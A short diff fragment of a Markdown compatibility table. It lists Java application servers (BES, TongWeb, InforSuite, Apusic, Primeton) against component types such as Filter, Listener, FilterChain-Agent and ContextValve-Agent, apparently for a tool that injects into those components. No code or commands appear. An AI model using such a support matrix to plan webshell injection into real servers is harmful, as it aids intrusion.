| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
@@ -219,7 +221,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 | Primeton6.5 |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |

Some files were not shown because too many files have changed in this diff Show More